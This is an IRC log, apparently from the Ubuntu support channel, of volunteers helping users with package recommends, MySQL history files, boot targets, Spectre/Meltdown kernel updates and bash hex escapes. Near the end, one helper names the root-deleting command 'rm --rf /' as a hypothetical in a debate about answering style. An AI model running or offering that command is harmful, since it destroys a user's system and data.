[00:11] <hfp> systemd-resolved is so slow! with it takes 700-900msec to resolve hostnames accoring to dig, but when I disable it it resolves in 1-5ms
[00:12] <jk^> Sveta, unrar-free is "installed" though the error :\ so i try to unistall it before install it again
[00:12] <Sveta> What error?
[00:13] <jk^> but now, before installing it again, rar archives works :\ so strange
[00:13] <Sveta> The "Can't drop privileges for downloading as file ..." error is caused by having both synaptic and software center open at the same time.
 Sveta, W: Can't drop privileges for downloading as file '/root/.synaptic/tmp//tmp_sh' couldn't be accessed by user '_apt'. - pkgAcquire::Run (13: Permesso negato)
[00:14] <jk^> ok
[00:15] <jk^> i close that window and i saw that unrar-free is "selected" in the Synaptic, so i guess it's installed... to repeat its installation, i unistalled it
[00:15] <jk^> sveta
[00:15] <Sveta> Okay, I guess you want to install it now.
[00:15] <jk^> and with it uninstalled, the rar archives works the same
[00:15] <jk^> :\
[00:15] <Sveta> Perhaps you have another program, like 7zip, which does the job.
[00:16] <jk^> no, before i install unrar the rar archives didn't work at all
[00:16] <jk^> :\
[00:16] <jk^> but now if i had unistalled unrar-free, why do they works? :\
[00:16] <jk^> so strange
[00:18] <jk^> Sveta,
[00:19] <Sveta> I agree it is strange.
[00:19] <Sveta> If you want to know why, you need to check package installation logs.
[00:19] <apb1963> nightfly, I'm running 4.13.0-21-lowlatency
[00:20] <Sveta> jk^: The package installation log file is located at /etc/apt/history.log. If you pastebin that, someone may help you out.
[00:21] <nacc> Sveta: did you mean /var/log/apt/history.log ?
[00:21] <Sveta> Yes, sorry. Thank you.
[00:22] <Sveta> (For the record, I am really glad you put this question on one line.  jk^, see what nacc did.  It makes the chat a lot easier and quicker to read.)
[00:24] <jk^> ok
[00:25] <jk^> Sveta, https://pastebin.com/raw/zEmzyHq7
[00:26] <Sveta> Woohoo. Thanks jk^! :-) Fresh entries are at the bottom.   At 00:46:34 you installed unrar-free.  At 00:54:04 you purged unrar-free.   At 01:02:57 you installed it again.    Then at 01:04:03 you purged it again.
[00:28] <Sveta> Remarkably at 00:46:34, you installed a bunch of packages with it, including unar.
[00:28] <Sveta> unar was not purged.
[00:28] <jk^> after the error i pasted, i see it in packages list and it was "selected" so it seems it was installed. Then i unistalled it because i would install it again hoping it was installed without error. After unistalled ("completely") it, for proof i tried to open a rar archive and it works though unrar-free was unistalled
[00:28] <Sveta> Perhaps this is why you can extract rar archives now.
[00:28] <Sveta> I answered that question, I think, jk^. :-)
[00:31] <jk^> yes but why if i unistalled it, wasn't it unistalled "completely" unistalling even the bunch of packages installed with it?
[00:31] <jk^> i click "Completely remove" not just "Remove"
[00:32] <jk^> Sveta,
[00:32] <Sveta> It listed these packages in the 'can be removed' section.  I do not know why it did not remove them automatically.
[00:32] <Sveta> We could ask this in #synaptic, but it's a little small, surprisingly.
[00:34] <TJ-> jk^: it sounds like you installed TWO *top level* packages, "unrar" and "unrar-free" which are alternate dependencies of some other package, so when removing only one gets removed, to maintain the dependency
[00:34] <TJ-> THere are several packages with alternate Suggests: unrar | unrar-free dependencies
[00:35] <Sveta> TJ-: I am not seeing 'unrar' in the provided log.
[00:35] <jk^> Sveta, where is the "Can be removed" section?
[00:35] <Sveta> jk^: at the left of the synaptic window.
[00:35] <Sveta> TJ-: it is 'unar'.
[00:36] <TheNH813> Sveta: I fixed it. Akonadi works now.
[00:36] <TJ-> unar?
[00:36] <Sveta> TJ-: unrar-free recommends unar.
[00:36] <Sveta> TJ-: this is why it was installed.
[00:36] <TheNH813> Sveta: sudo mkdir /var/lib/mysql-files
[00:36] <Sveta> TheNH813, that was it?
[00:36] <TheNH813> Don't know WHY the system didn't create the folder at install.
[00:36] <TheNH813> Sveta: sudo mkdir /var/lib/mysql-files
[00:37] <TheNH813> That was it.
[00:37] <TJ-> Sveta: yes, it's also a Suggests, along with unrar-free and unrar, for some packages e.g. engrampa
[00:37] <Sveta> TJ-: well, jk^ installed unrar-free, and it pulled unar as a suggested package.
[00:37] <Sveta> TJ-: then jk^ purged unrar-free, but unar remained.
[00:37] <Sveta> TJ-: why did it remain?
[00:37] <TheNH813> Sveta: I found the solution here: https://forum.kde.org/viewtopic.php?t=135957
[00:37] <Sveta> TheNH813: sounds like a bug.  What Ubuntu version?
[00:38] <jk^> yes TJ- and Sveta, i just installed unrar-free and not unrar
[00:38] <TheNH813> 14.04
[00:38] <TJ-> which makes sense, if it's a Suggests rather than a Depends, it's a top-level package in it's own right
[00:38] <xubuntu> hi
[00:38] <TheNH813> Hello
[00:38] <Sveta> jk^: unrar-free pulled unar as a suggested (recommended) package.
[00:39] <Guest29422> anyone knows where does w_scan save the output list? I cant find it
[00:39] <Sveta> jk^: removing unrar-free did not remove unar, because this is not a dependency, this is only a recommendation.
[00:39] <Sveta> Guest29422 (xubuntu): hello
[00:40] <TJ-> that's what apt does too, only removes unrar-free, not unar
[00:41] <TheNH813> w_scan should save the output to whatever the working dir was when you rant eh command.
[00:41] <TheNH813> Guest29422
[00:42] <Sveta> TJ-: i guess it could prompt the user if removing a package leaves any packages available for autoremoval (if this is the case here)
[00:42] <jk^> ok Sveta for future cases, have i to install all that it asks me to install in addition to the package i selected or just dependency ones?
[00:42] <TheNH813> Guest29422: Unless you told it to save elsewhere.
[00:44] <Sveta> jk^: when you install a package, it usually installs the dependencies as well as the recommended packages
[00:44] <TJ-> Sveta: autoremoval is usually only an issue if there's a hard dependency which has been removed, as unar is a top-level package in it's own right that wouldn't hold. I guess apt would have to keep track of which packages were installed as a result of Reccommends: or Suggests:
[00:44] <Guest29422> how can I set a different folder?
[00:44] <Sveta> TJ-: that'd be handy
[00:46] <TJ-> Sveta: the problem there would be removing meta/virtual packages like ubuntu-desktop could then lead to the entire DE being removed :D
[00:52] <Sveta> TJ-: could have this feature as an opt-in
[00:54] <gregl> I have a nvidia gforce 9500.. I have been a little leary to install the 340 nvidia driver.. I have had problems in the past,with it not booting... I woldn't bother,but I have some artafact on the top of my screen.. Is anyone using this card with the 340 driver?
[00:58] <jk^> Sveta, TJ- ohh my God :| i installed unrar-free again and now it doesn't show me if i want to install other packages with it :\ indeed now it doesn't install unar :\
[00:58] <jk^> uff
[00:58] <jk^> :(((((
[00:58] <Sveta> jk^: it doesn't install unar because it is already installed
[00:59] <jk^> no, i unistalled it
[00:59] <jk^> :\
[00:59] <Sveta> jk^: ok, please, show a screenshot of synaptic results for 'unrar' and 'unar'
[01:00] <Sveta> jk^: or just install them both by hand, then show the apt log
[01:00] <jk^> all their windows are closed
[01:00] <Sveta> jk^: that might be easier
[01:00] <Sveta> jk^:  1. open synaptic 2. install unrar-free click apply 3. install unar click apply 4. pastebin the apt history log like you did several minutes ago
[01:01] <TJ-> I tested with apt; it wants to reinstall unar
[01:01] <Sveta> TJ-: i'm a little scared of mentioning things here, jk^ just starts doing any new things straight away...
[01:02] <TJ-> Sveta: I'm waiting to hear the desktop has disappeared :p
[01:02] <jk^> no TJ- when i try to install unrar-free again, it doesn't show me again a windows where list additional packages :\
[01:02] <Sveta> jk^: please follow the steps i provided
[01:02] <Sveta> jk^: then we can read the apt log and figure out what happened
[01:03] <Sveta> jk^: alternatively, if you just pastebin the history log now, i can tell you what happened and why it does not prompt you for the additional packages
[01:04] <craigbass76> The MySQL, or is it MariaDB these days (Ubuntu 16.04) is sticking all sorts of strange characters into ~/.mysql_history. Any way to read that file without them? Mostyl I'm seeing \040 wherever there's supposed ot be a space
[01:07] <jk^> just a moment
[01:07] <craigbass76> jk^: Is that for me? I've just realized that I can find any alter statements in the history with sed "s/\\\040/ /g" < ~/.mysql_history | grep alter
[01:07] <craigbass76> It'd be nice if they weren't there in the first place though
[01:08] <Sveta> do you have an example line with strange characters
[01:08] <jk^> https://pastebin.com/raw/xRkimfWT
[01:09] <Sveta> craigbass76: you can avoid them in the future by adding --without-readline to my.cfg
[01:10] <craigbass76> Sveta: in /etc, or in ~/ ?
[01:10] <Sveta> craigbass76: somewhere where it already exists
[01:11] <craigbass76> jk^: Good: ALTER TABLE customerSoftwareVersion DROP COLUMN softwareId;  Bad: ALTER\040TABLE\040customerSoftwareVersion\040DROP\040COLUMN\040softwareId;
[01:11] <Sveta> jk^: i guess synaptic has a 'install without installing recommended packags' button, if you use that, it does not prompt you to install unar
[01:11] <jk^> but i don't understand if i unistalled unar why if i try to install again unrar-free it doesn't make me install again even unar and the other ones
[01:11] <jk^> ?
[01:11] <Sveta> jk^: dunno, i'd install it by hand and not worry about it, or get a hold of someone who has synaptic and can test this
[01:12] <Sveta> craigbass76: the sed line you gave should be ok
[01:12] <Sveta> craigbass76: look for /etc/mysql/my.cnf or /etc/mysql/my.cfg
[01:13] <jk^> Sveta, no, synaptic hasn't a "Install without installing reccomended packages" button :\ i can't find it... i just did "right click-install" and after "apply"
[01:14] <craigbass76> Sveta: I was looking at the one in ~/  I've got a user and pass in there so I can run stuff from bash without mysql -p
[01:15] <jk^> Install: gnustep-common:i386 (2.6.6-3, automatic), unrar-free:i386 (1:0.0.1+cvs20140707-1), libobjc4:i386 (5.4.0-6ubuntu1~16.04.5, automatic), unar:i386 (1.9.1-1, automatic), libgnustep-base1.24:i386 (1.24.7-1build2, automatic), gnustep-base-runtime:i386 (1.24.7-1build2, automatic), gnustep-base-common:i386 (1.24.7-1build2, automatic)
[01:16] <jk^> Sveta, how do u distinguish dependencies from "reccomended" and "suggested"?
[01:16] <Sveta> jk^: i look this up at packages.ubuntu.com, but synaptic provides this info as well
[01:16] <luaman2> Anyone wanna help with this error:  Error: Could not find expected file libcrypto.a, or libcrypto.so, or libcrypto.so.* for CRYPTO -- you may have to install CRYPTO in your system and/or pass CRYPTO_DIR or CRYPTO_LIBDIR to the luarocks command. Example: luarocks install luaossl CRYPTO_DIR=/usr/local
[01:16] <luaman2> Like what am I doing wrong...
[01:17] <jk^> in which section of synaptic?
[01:19] <Sveta> ok. jk^ installed unrar-free, it installed unar as a suggested package. then jk^ purged both and installed unrar-free again but for some reason it does not prompt him to install unar anymore. why is that? here is the apt history log: https://pastebin.com/raw/xRkimfWT  -- someone please test, i'd like to stop thinking of this question because i don't have synaptic here
[01:20] <Sveta> jk^: re synaptic dependencies list - you can right click a package and click 'properties' to view its dependencies
[01:25] <jk^> https://drive.google.com/open?id=1iNjqNawbsnhTq1EtTJ9ehNHiiz_uJpQf
[01:25] <jk^> Sveta,
[01:32] <someone_> Hi , How I can make the default is CLI rather than GUI ?
[01:32] <someone_> when ubuntu startup I want start CLI not GUI
[01:33] <someone_> I want the default is CLI
[01:34] <someone_> anyone ?
[01:34] <craigbass76> someone_: what version? Used to be /etc/inittab, but I haven't had to do it in a while
[01:35] <craigbass76> someone_: nevermind -- that's not there anymore. Hang on a sec
[01:37] <craigbass76> someone_: sudo systemctl set-default multi-user.target maybe? To change back, sudo systemctl set-default graphical.target?
[01:37] <craigbass76> Anyone else want to weigh in before they hose their install?
[01:38] <craigbass76> It got wonky when Ubuntu went from init scripts to systemd, and I haven't done it since that happened.
[01:38] <craigbass76> someone_: https://linux.m2osw.com/boot-command-line-console-ubuntu-1604-and-newer is where I was looking.
[01:38] <jje> craigbass76: that should work.
[01:39] <someone_> craigbass76 Thank you so much.
[01:49] <craigbass76> Sveta: I stuck --without-readline in ~/.my.cnf, (these all prefaced by /etc/mysql) my.cnf, mysql.conf.d/mysqld.cnf, and conf.d/mysql.cnf No love. I think everyone is sleeping in #mysql too...
[01:51] <Sveta> it does not affect your existing logs, only new ones, you realize, right?
[01:51] <craigbass76> Sveta: no, mysql wouldn't even start
[01:51] <craigbass76> until I commented out the line again
[01:55] <Neo4> #ubuntu-ru
[01:57] <en1gma> "Bus 001 Device 020: ID 1737:0079 Linksys WUSB600N v2 Dual-Band Wireless-N Network Adapter [Ralink RT3572]" im getting horrible performance
[01:57] <Sveta> craigbass76: you really want just a log of all mysql queries made, right?
[01:57] <en1gma> in 5ghz mode and even in 2.4. been doing iperf3 tests and wtf is going on
[01:58] <craigbass76> Sveta: I could just go through every so often and run the existing one through sed
[01:58] <Sveta> craigbass76: in your /etc/mysql/my.cnf file, add a [mysqld] section with a `log=/var/log/mysql/mysqld.log` line in it, if there is no such section already; perhaps that works without the special characters, could you test?
[01:59] <craigbass76> Sveta: I can, I was just in there.
[02:00] <Sveta> does the resulting /var/log/mysql/mysqld.log file have the correct information? with or without the \040 ?
[02:00] <craigbass76> unknown variable, when I try to get into mysql from cli
[02:02] <Sveta> what is the exact error message that you get?
[02:02] <craigbass76> Sveta: I had it in the wrong file. I'm getting, now, Job for mysql.service failed because the control process exited with error code. See "systemctl status mysql.service" and "journalctl -xe" for details.
[02:03] <craigbass76> I'll tool around with it. I'm sure this is something dumb.
[02:03] <craigbass76> Thanks though
[02:03] <Sveta> yah, perhaps it's best to see what #mysql people say and then share their solution here
[02:03] <Sveta> i'm sorry for attempting a task that i couldn't entirely finish, it seems to be out of my scope unless we can try a number of things for a while
[02:11] <craigbass76> Sveta: No biggie. I'm writing a PHP app, so this is all testing environment. My head won't roll.
[02:13] <promach_> As in https://paste.ubuntu.com/26357027/ , I could not boot up my Ubuntu for Zedboard after an interrupted major upgrade. What should I do ?
[02:17] <towerhii> help
[02:17] <dragon> !help
[02:17] <stvn> 'Ubuntu Software'
[02:18] <stvn> is this thing broken?
[02:19] <dragon> Depends on what you mean by broken. I've had issues with it, yes.
[02:19] <promach_> stvn, dragon: hi
[02:19] <dragon> Hello promach_!
[02:20] <stvn> greeting
[02:21] <towerhii> whois Drone
[02:21] <dax> a robot, though i assume that was a typo
[02:21] <towerhii> Yikes, Psychotic Killer robot?!?
[02:21] <dax> it kills spam
[02:21] <dax> same with Sigyn
[02:21] <towerhii> nice
[02:22] <promach_> dragon: do you have any comments on my question ?
[02:22] <towerhii> northern Ca is in the room
[02:23] <dragon> promach_: sorry, no. I looked but not sure how to handle the "feature incompatibilities" issue
[02:24] <dragon> though.. would it mount as ext4?
[02:41] <TJ-> promach_: if the upgrade failed and it fell back to the original version it's possible the upgrader applied new feature flags to the file-system which the old kernel doesn't understand. That's not something Ubuntu does, you'll need to ask the distro you're using, which I assume is Xiilinux
[02:49] <TheNH813> Question, is it normal for extreme lag and intermittant freezes to occur when KMail is syncing like 20k+ emails?
[02:49] <Sveta> Yes, I think so.
[02:49] <Sveta> I have found it useful to reduce the number of messages in any particular folder as much as possible, and (if using imap) move messages to local folders instead.
[02:49] <Sveta> This has some drawbacks.
[02:50] <Sveta> Such as not seeing the messages on other computers than where KMail is.
[02:50] <Sveta> But for me this was acceptable.
[02:50] <TheNH813> Allright.
[02:51] <TheNH813> akonadi_baloo_indexer is using 261M of memory and akonadi_imap_resource is using 232M of memory. That's a lot. But expected, because that is a lot of data to process.
[02:53] <TheNH813> I'l see if setting them to the absolute lowest priority and idle disk priority will help.
[02:54] <TheNH813> Oh wait. I see the problem now. I have less then 100MB of disk space left because of that.
[02:54] <TheNH813> I swore I put a simlink to move those to the other HDD.
[03:01] <TheNH813> It's okay to move .local to another parition and symlink it, right?
[03:01] <TheNH813> As long as it's in fstab so it mounts before I log in?
[03:11] <en1gma> "02:00.0 Network controller: Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01)" why am i getting such crappy performace
[03:12] <en1gma> my phone is a wifi hotspot and all other devices are above 50mbit/sec
[03:12] <en1gma> i also tried my rt2800usb adapter and same thing
[03:12] <en1gma> can someone help me out here.
[03:16] <en1gma> is there a way to change the link manually as auto sucks balls
[03:17] <Sveta> Check dmesg for clues as to what it is trying to do, but you may need to rule out your phone's intermittent connectivity too.
[03:29] <en1gma> all other devices on network perform outstanding compared to this laptop. i just looked at the wifi chipset and it looks like it dont have mimo but my linksys wusb600nv2 should work great with rtl2800usb
[03:29] <en1gma> driver
[03:29] <en1gma> anyhow got to get off for a moment
[03:46] <lotuspsychje> !usn | all users affected affected to spectre/meltdown please update your systems
[04:04] <john_rambo> I want to get notified of an event on a particular date ... Any ideas which app I can use ?
[04:04] <uebera||> Good morning. Given that "The Rolling HWE kernel for Ubuntu 16.04 will go to 4.13 early, instead of also fixing 4.10 HWE kernel", what to do on Xenial machines where apt tells you "linux-generic-hwe-16.04 is already the newest version (4.10.0.42.44)". Wait until this gets updated to 4.13.x or install hwe-16.04-edge?
[04:04] <Sveta> john_rambo, i'd like to get more information: what environment are you using? gnome or kde or something else?
[04:05] <john_rambo> Sveta, XFCE
[04:05] <lotuspsychje> uebera||: always update your system to latest at all times
[04:06] <dudebbn> kind of a noob question, but if i rent a VPS using openVZ i am not able to install spectre/meltdown patches  because it's a kernel type of patch, is this a  correct assumption?
[04:06] <lotuspsychje> dudebbn: depends on the vps keeping up to date or not?
[04:06] <Sveta> !info orage | john_rambo
[04:07] <Sveta> john_rambo: ^ see what ubottu said above, i think it does what you need
[04:07] <dudebbn> ok lotuspsychje
[04:08] <uebera||> lotuspsychje: There's a notable difference between linux-hwe and linux-hwe-edge, hence I'm asking. According to https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown, the latter is fixed, the former isn't, but I do not intend to "live on the edge", I just want the *normal* linux-hwe kernel for the next couple of months. It's *not* obvious what to do.
[04:08] <john_rambo> Sveta, It was already installed I didnt notice it ....Thanks a lot
[04:08] <Sveta> you're welcome
[04:09] <uebera||> (i.e., linux-hwe-edge could switch to 4.15 in the next couple of days; I don't want that; the above wiki page tells you that you'd want 4.13)
[04:09] <lotuspsychje> uebera||: well we dont know your ubuntu version yet, and why you installed hwe?
[04:10] <uebera||> lotuspsychje: You do know from the package suffix and "Xenial" I wrote above.
[04:12] <on3pk> I'm struggling to get x11vnc server to start at startup
[04:12] <lotuspsychje> !vnc | on3pk
[04:12] <lotuspsychje> uebera||: i advice just keeping your system up to date, see what comes for your system
[04:13] <lotuspsychje> !mainline | uebera|| see also for other kernels
[04:13] <lotuspsychje> !hwe | uebera||
[04:13] <on3pk> lotuspsychje: oh, I don't really want to use vnc over ssh
[04:13] <lotuspsychje> on3pk: vnc is a security flaw, be carefull with that your system will get compromized
[04:14] <on3pk> even if the 5900 port is not exposed outside the lan?
[04:15] <lotuspsychje> on3pk: is your system connected to internet?
[04:16] <on3pk> yeah, but firewall rules should prevent unwanted access, no?
[04:16] <lotuspsychje> on3pk: id really reccomend you something else then vnc
[04:17] <lotuspsychje> on3pk: ssh,remmina,ssX, or vnc over ssh
[04:18] <dudebbn> on that vnc over ssh point, can you have vnc bind/listen on loopback adapter only ?
[04:21] <on3pk> well I'll look into doing that...
[04:21] <dudebbn> answering own question, yes    via -loopback  argument to vnc server        - https://superuser.com/questions/715604/vncserver-localhost-and-ssh-tunneling
[04:21] <dudebbn> err sorry i mean  -localhost
[04:24] <TJ-> why would "apt install lubuntu-desktop" want to pull in unity-control-center, unity-greeter and other unity packages?
[04:24] <Sveta> TJ-: add --no-install-recommends, it might help
[04:25] <TJ-> Sveta: yeah, I was trying to figure out the path by which those got chosen though :)
[04:25] <Sveta> TJ-: try apt-rdepends
[04:28] <ubuntuPIK> pik
[04:28] <ubuntuPIK> der blev sagt PIK
[04:46] <aiena2> I want to monitor download and bandwidth usage I have setup snmp on the router can someone recommend something to monitor network usage on ubuntu graphically
[04:46] <aiena2> Our data cap is expiring very quickly and I want to figure out how it is happening
[04:47] <autopsy> There are some command line tools i think
[04:47] <aiena2> is nagios overkill for this purpose
[04:47] <Sveta> aiena2: see https://unix4lyfe.org/darkstat/ and https://packages.ubuntu.com/artful/darkstat
[04:48] <Neo4> now #ubuntu-oftop doesn't work?
[04:48] <aiena2> Sveta: darkstat cannot do SNMP
[04:48] <aiena2> ?
[04:49] <aiena2> I want to monitor whole network not local interface
[04:49] <aiena2> whole LAN
[04:50] <aiena2> Neo4: not sure but I always typw the whole thing /j #ubuntu-offtipic
[04:51] <lotuspsychje> Neo4: register to enter offtopic
[04:51] <Neo4> aiena2: ok
[04:52] <Neo4> I forgot, I though #ubuntu-oftop )
[05:02] <JMurph> Hi I'm new to this looking for some help
[05:02] <Sveta> Hello.
[05:03] <dabba> hiya JMurph
[05:03] <JMurph> Hi all
[05:03] <aiena2> JMurph: what is your question
[05:04] <JMurph> I'm slightly retarded so please excuse my ignorance as I have little to no idea what I'm doing. That's my disclaimer
[05:05] <JMurph> Anyway. I'm running Ubuntu 16.04 and after trying some things to get this Kronos installation to work my launcher is flickering and I can't access my dash
[05:06] <JMurph> I've tried a bunch of things. Some of which I havnt a clue.
[05:06] <JMurph> Anyone have any ideas or can direct me to an answer?
[05:08] <JMurph> I think it was a web based application. I tried updating adobe flash. Couldn't get it to run this Kronos
[05:09] <dabba> I've never heard of Kronos, what is it exactly?
[05:09] <JMurph> And now annoying problems with unity launcher. Oh and I have to manually shut down it won't work in settings or terminal commands
[05:09] <JMurph> It's just a time keeper. punch clock
[05:10] <dabba> written for linux?  I can't find it searching - have a link?
[05:11] <gt8ost4l> can anybody help me when i use firefox and scroll down blank spots appear no the top portion of the screen?
[05:12] <gt8ost4l> on*
[05:13] <JMurph> https://www.kronos.com/
[05:13] <dabba> JMurph, if you are trying to use the software from https://www.kronos.com, i'd suggest contacting them for instruction cause their documentation is non existent from what I can tell with a quick look
[05:14] <JMurph> But I'm no longer interested in that so much as I am fixing the problem of not being able to access my dash and the flickering problem with the launcher
[05:14] <JMurph> Somethings all fudged up with it now
[05:14] <necro> im just installed peppermint os and im trying to get a more gnome feel out of it.Any pointers?
[05:15] <dax> necro: as /topic says, #ubuntu only handles Ubuntu and its official flavors. Please use peppermint's support venues for help with it
[05:16] <Sveta> necro: interesting, #peppermint looks official but there's not many people there..
[05:16] <JMurph> https://youtu.be/WeCs_gIey6c
[05:16] <JMurph> Tried using this as a fix to no avail
[05:22] <dabba> JMurph, without knowing the cause to the problem, the only real solution I'd think would be to reinstall unity which may (or may not) be too drastic.  honestly I don't gui much on my ubuntu machines so I don't know the best approach - sorry :(
[05:23] <dabba> gt8ost4l, is only firefox affected or are other applications as well?  video rendering okay?
[05:24] <gt8ost4l> dabba:just firefox.
[05:25] <dabba> what version of ubuntu? is it a fresh install or just a new problem with firefox?
[05:25] <gt8ost4l> dabba: just a problem with firefox
[05:26] <dabba> gt8ost4l, use another browser :P
[05:28] <gt8ost4l> dabba: so there isnt a work around for this problem?
[05:30] <dabba> gt8ost4l, well if only firefox is affected I doubt it's a problem with your OS.  I had some issues with pages tearing and video not working in firefox but it was all graphics drivers related.
[05:40] <donofrio> anyone else here run DisplayLink usb dvi's on ubuntu? https://apaste.info/dRSq  wanting to know how to rerun the display assignmednt I picked Leftof twice and now I have one source and two mirrors ;(
[05:53] <donofrio> dmesg @ https://apaste.info/caxz
[05:53] <bowhunter82301> hello
[05:55] <donofrio> I have an imac with external display and two "Plugable UGA-3000" and they are right now mirroring my internal display ;(
[06:00] <bowhunter82301> does anyone actually chat here
[06:01] <xs2> no
[06:01] <xs2> you come here when you need help usually
[06:03] <bowhunter82301> hello
[06:03] <bowhunter82301> does anyone actually chat
[06:05] <Sveta> boffin: yes
[06:05] <Sveta> er
[06:05] <Sveta> sorry, ignore that
[06:32] <someone_> Hi , How I can schedule java program runs at login ?
[06:33] <someone_> on Ubuntu 16.04
[06:36] <someone_> this is the solution:https://askubuntu.com/questions/270049/how-to-run-a-command-at-login
[06:52] <nagyg> Hi all
[06:52] <zomaar> hi
[06:53] <nagyg> How can I update a package that was installed with gdebi? Simply install it again or remove the old version and reinstall?
[06:54] <alkisg> Just install the newer version, it will properly update the older one
[06:55] <nagyg> alkisg, thanks
[06:55] <alkisg> np
[07:01] <projects> helo
[07:02] <alkisg> Hello
[07:03] <cherok> any idea when the 17.10 download will be available again?
[07:03] <projects> how can I install MATE on ubuntu?
[07:04] <xs2> cherok: what are you on about? is it not available? I downloaded xubuntu 17.10 like 2 hrs ago?
[07:04] <cherok> projects: thats listed under flavours in their downloads section
[07:05] <cherok> xs2: it says it was disabled on their website because of some bios thing
[07:05] <projects> well I have the regular download but want to add also MATE is that possible cherok ?
[07:06] <cherok> should be able to get it from their software center and then switch to it at the login screen, but I'm a noobie too so I'm not positive
[07:07] <projects> you mean ubuntu software?
[07:07] <alkisg> projects: sudo apt install ubuntu-mate-desktop
[07:07] <nagyg> cherok, the target release date for these updated images is Thursday, January 11.
[07:07] <alkisg> projects: that said, it's best to have one desktop environment instead of many, in case there are some leftover services or conflicts
[07:07] <cherok> thank you nagyg
[07:08] <projects> alkisg, how do I remove the default one I have?
[07:08] <nagyg> cherok, fyi, https://lists.ubuntu.com/archives/ubuntu-release/2018-January/004263.html
[07:08] <projects> I do not like Unity
[07:08] <alkisg> projects: that's more difficult, because many of its packages would be marked as "manually installed", so you'd need to google and find a list of its packages
[07:09] <alkisg> ...the hard part would be to avoid removing one of those that is still required by mate or any other DE
[07:09] <alkisg> projects: which ubuntu version is that, 16.04?
[07:09] <projects> yes alkisg
[07:11] <alkisg> projects: nah, I can't find a long list of all the packages in google; just keep both of them
[07:12] <alkisg> Something similar to this would be needed for a "clean" uninstall: https://askubuntu.com/questions/451620/how-to-completely-remove-kubuntu-desktop-from-ubuntu
[07:35] <alakx> Hello! I have kernel version 4.4.0-62-generic running on my server and i don´t see any updates available
[07:35] <alakx> I have cleaned apt-s cache
[07:36] <zomaar> what do you mean alakx, do you want to upgrade your kernel?
[07:36] <alakx> Yes, because of the cpu bug
[07:37] <alakx> I dont have any linux-image-headers installed..maybe thats why?
[07:37] <zomaar> No
[07:37] <alakx> insteresting..
[07:37] <alkisg> alakx: what's the output of `sudo apt update; sudo apt dist-upgrade` ?
[07:38] <alakx> alkisg : It´s - 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
[07:38] <alakx> as if everything is up2date
[07:38] <alkisg> alakx: and, apt policy linux-image-generic
[07:39] <techlobyte1> hey, do you do bash?  Why don't my escape sequences return a valid hex value with command ------- echo -e "hex value for HH: \xHH"
[07:39] <alkisg> or if you prefer automatic pastebin: apt policy linux-image-generic | nc termbin.com 9999
[07:39] <alakx> alkisg : one second. I have to use pastebin for the output
[07:39] <alkisg> techlobyte1: use printf
[07:40] <BerndSch> I have a question regarding https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown.
[07:40] <alakx> alkisg : https://pastebin.com/EaJm60P2
[07:40] <techlobyte1> alkisg: with quotes?
[07:40] <alkisg> techlobyte1:  printf "hex value for 61: \x61\n"
[07:40] <BerndSch> At the moment I'm running 4.10.0-42-generic. Do I have to install the package linux-image-generic-hwe-16.04-edge to receive the SpectreAndMeltdown fixes?
[07:40] <alkisg> alakx: you don't have the linux-image-generic metapackage installed, and that's why you never get kernel updates
[07:41] <zomaar> techlobyte1: Are you trying hexadecimal values, or characters?
[07:41] <alkisg> alakx: I imagine you removed it at some point, you can check your apt history.log to make sure
[07:41] <techlobyte1> alkisg: thanks, is that for all escape sequences?
[07:41] <alkisg> techlobyte1: yes, man printf
[07:41] <alakx> alkisg : I see. So i have to install that package and then i will receive updates for kernel, correct?
[07:41] <zomaar> techlobyte1: You cannot turn hex into decimal in that way.
[07:41] <techlobyte1> alkisg: thanks, I dunno... I just got the book in the mail
[07:41] <zomaar> techlobyte1: and \xx should work in echo as well
[07:41] <alkisg> alakx: yes, and it will start with -108 instead of your -62
[07:42] <alakx> alkisg : Thanks for the quick support :)
[07:42] <alkisg> np
[07:43] <techlobyte1> alkisg: bash: printf: missing hex digit for \x
[07:43] <techlobyte1> hex for HH: \xHH
[07:43] <alkisg> techlobyte1: you're supposed to put a number there, see the example I gave you above
[07:44] <zomaar> techlobyte1: So you might mean $HH
[07:45] <wamicho> hello i need help with my virtual box recognizing wireless USB adoptor installed on ubuntu with guest additions installed as well ?
[07:45] <zomaar> techlobyte1: And echo will work equally well...
[07:45] <alkisg> zomaar: no, echo -e is not posix compliant, it only works in bash, not in dash or posh etc
[07:45] <Techlobyte2> alkisg: connection reset by peer
[07:46] <zomaar> alkisg: For tutoring, or solving this issue, it is best to start simple.
[07:46] <alkisg> zomaar: right, and printf is simple
[07:46] <Techlobyte2> it didn't work
[07:46] <zomaar> alkisg: The problem was not echo, so the solution is not printf
[07:46] <alkisg> It's way better to start with it instead of echo -e, which isn't standarized at all
[07:46] <alkisg> (09:40:19 πμ) alkisg: techlobyte1:  printf "hex value for 61: \x61\n"
[07:46] <alkisg> techlobyte1: doesn't that command output this? hex value for 61: a
[07:46] <zomaar> alkisg: So you compound two solutions in one, which is not clear
[07:47] <Techlobyte2> i'll try
[07:47] <alkisg> techlobyte1:  This converts the 61 hex number into the respective ascii character
[07:47] <alkisg> zomaar: you can also say "I'm giving a correct solution, ignoring the wrong one", which sounds simpler
[07:48] <Techlobyte2> alkisg: ya
[07:48] <wamicho>  hello i need help with my virtual box recognizing wireless USB adoptor installed on ubuntu with guest additions installed as well . On the USB filter i can find the USB device. Running ubuntu 16.04
[07:48] <zomaar> alkisg: It's not the correct solution. The correct solution was that he was using \xHH when it should have been \x$HH or something.
[07:48] <alkisg> zomaar: no, that's wrong, HH isn't a variable but an example for hex digit
[07:48] <zomaar> alkisg: But we don't know what he was using, echo -e "\x61" should work immediately
[07:49] <Techlobyte2> that's what your talking about, \x doesn't convert ascii into hex
[07:49] <zomaar> alkisg: Unless of course it was in a script using #!/bin/sh, then you are right.
[07:49] <alkisg> zomaar: suppose someone asks you, "what's wrong with rm --rf /"? You will tell them it's --, or that the whole command shouldn't be executed in the first place?
[07:49] <zomaar> alkisg: I do not insert morals into technical answers.
[07:50] <alkisg> That's where we disagree then. I prefer my approach, that helps the user instead of just blindly answering a question.
[07:50] <Techlobyte2> zomaar: science without religion is lame
[07:50] <zomaar> alkisg: I will first give the answer and then ask whether it is smart
[07:50] <alkisg> I won't. I'll first try to help the user.
[07:50] <zomaar> alkisg: And I will also say that the command won't work because it is protected
[07:50] <Techlobyte2> zomaar: religion without science is blind-- A. Einstein
